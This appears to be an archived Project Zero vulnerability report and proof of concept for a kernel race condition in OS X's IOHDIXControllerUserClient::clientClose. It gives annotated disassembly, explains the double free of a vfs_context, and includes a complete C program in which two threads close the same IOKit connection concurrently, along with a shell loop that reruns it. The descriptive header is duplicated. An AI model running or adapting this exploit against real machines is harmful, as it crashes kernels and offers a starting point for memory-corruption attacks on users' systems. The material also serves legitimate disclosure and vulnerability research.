1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 |
/* Source: https://code.google.com/p/google-security-research/issues/detail?id=599 OS X and iOS kernel UaF/double free due to lack of locking in IOHDIXControllUserClient::clientClose Here's the clientClose method of IOHDIXControllUserClient on OS X 10.11.1: __text:0000000000005B38 ; __int64 __fastcall IOHDIXControllerUserClient::clientClose(IOHDIXControllerUserClient *__hidden this) __text:0000000000005B38 public __ZN26IOHDIXControllerUserClient11clientCloseEv __text:0000000000005B38 __ZN26IOHDIXControllerUserClient11clientCloseEv proc near __text:0000000000005B38 ; DATA XREF: __const:000000000000F820o __text:0000000000005B38 pushrbp __text:0000000000005B39 mov rbp, rsp __text:0000000000005B3C pushrbx __text:0000000000005B3D pushrax __text:0000000000005B3E mov rbx, rdi __text:0000000000005B41 mov rax, [rbx] __text:0000000000005B44 xor esi, esi __text:0000000000005B46 callqword ptr [rax+600h] ; virtual: IOService::terminate(unsigned int) __text:0000000000005B4C mov qword ptr [rbx+208h], 0 __text:0000000000005B57 mov qword ptr [rbx+1F8h], 0 __text:0000000000005B62 mov rdi, [rbx+200h]; <-- this+0x200 --+ __text:0000000000005B69 call_vfs_context_rele; pass to vfs_context_rele +- should be locked! __text:0000000000005B6E mov qword ptr [rbx+200h], 0; NULL out this+0x200--+ __text:0000000000005B79 xor eax, eax __text:0000000000005B7B add rsp, 8 __text:0000000000005B7F pop rbx __text:0000000000005B80 pop rbp __text:0000000000005B81 retn At offset +0x200 the user client has a vfs_context_t (struct vfs_context*) which gets passed to vfs_context_rele: int vfs_context_rele(vfs_context_t ctx) { if (ctx) { if (IS_VALID_CRED(ctx->vc_ucred)) kauth_cred_unref(&ctx->vc_ucred); kfree(ctx, sizeof(struct vfs_context)); } return(0); } This code drop the ref which the context object holds on the credential it holds then it frees the vfs context; Since there are no locks in the clientClose method two thread can race each other to both read a valid vfs_context_t pointer before the other one NULLs it out. There are a few possible bad things which we can make happen here; we can double drop the reference on the credential and double free the vfs_context. This PoC when run on a machine with -zc and -zp boot args will probably crash doing the double ref drop. Tested on El Capitan 10.11.1 15b42 on MacBookAir 5,2 */ // ianbeer // clang -o ioparallel_closehdix ioparallel_closehdix.c -lpthread -framework IOKit /* OS X and iOS kernel UaF/double free due to lack of locking in IOHDIXControllUserClient::clientClose Here's the clientClose method of IOHDIXControllUserClient on OS X 10.11.1: __text:0000000000005B38 ; __int64 __fastcall IOHDIXControllerUserClient::clientClose(IOHDIXControllerUserClient *__hidden this) __text:0000000000005B38 public __ZN26IOHDIXControllerUserClient11clientCloseEv __text:0000000000005B38 __ZN26IOHDIXControllerUserClient11clientCloseEv proc near __text:0000000000005B38 ; DATA XREF: __const:000000000000F820o __text:0000000000005B38 pushrbp __text:0000000000005B39 mov rbp, rsp __text:0000000000005B3C pushrbx __text:0000000000005B3D pushrax __text:0000000000005B3E mov rbx, rdi __text:0000000000005B41 mov rax, [rbx] __text:0000000000005B44 xor esi, esi __text:0000000000005B46 callqword ptr [rax+600h] ; virtual: IOService::terminate(unsigned int) __text:0000000000005B4C mov qword ptr [rbx+208h], 0 __text:0000000000005B57 mov qword ptr [rbx+1F8h], 0 __text:0000000000005B62 mov rdi, [rbx+200h]; <-- this+0x200 --+ __text:0000000000005B69 call_vfs_context_rele; pass to vfs_context_rele +- should be locked! __text:0000000000005B6E mov qword ptr [rbx+200h], 0; NULL out this+0x200--+ __text:0000000000005B79 xor eax, eax __text:0000000000005B7B add rsp, 8 __text:0000000000005B7F pop rbx __text:0000000000005B80 pop rbp __text:0000000000005B81 retn At offset +0x200 the user client has a vfs_context_t (struct vfs_context*) which gets passed to vfs_context_rele: int vfs_context_rele(vfs_context_t ctx) { if (ctx) { if (IS_VALID_CRED(ctx->vc_ucred)) kauth_cred_unref(&ctx->vc_ucred); kfree(ctx, sizeof(struct vfs_context)); } return(0); } This code drop the ref which the context object holds on the credential it holds then it frees the vfs context; Since there are no locks in the clientClose method two thread can race each other to both read a valid vfs_context_t pointer before the other one NULLs it out. There are a few possible bad things which we can make happen here; we can double drop the reference on the credential and double free the vfs_context. This PoC when run on a machine with -zc and -zp boot args will probably crash doing the double ref drop. Tested on El Capitan 10.11.1 15b42 on MacBookAir 5,2 repro: while true; do ./ioparallel_closehdix; done */ #include <stdio.h> #include <stdlib.h> #include <mach/mach.h> #include <mach/thread_act.h> #include <pthread.h> #include <unistd.h> #include <IOKit/IOKitLib.h> io_connect_t conn = MACH_PORT_NULL; int start = 0; void close_it(io_connect_t conn) { IOServiceClose(conn); } void go(void* arg){ while(start == 0){;} usleep(1); close_it(*(io_connect_t*)arg); } int main(int argc, char** argv) { char* service_name = "IOHDIXController"; int client_type = 0; io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(service_name)); if (service == MACH_PORT_NULL) { printf("can't find service\n"); return 0; } IOServiceOpen(service, mach_task_self(), client_type, &conn); if (conn == MACH_PORT_NULL) { printf("can't connect to service\n"); return 0; } pthread_t t; io_connect_t arg = conn; pthread_create(&t, NULL, (void*) go, (void*) &arg); usleep(100000); start = 1; close_it(conn); pthread_join(t, NULL); return 0; } |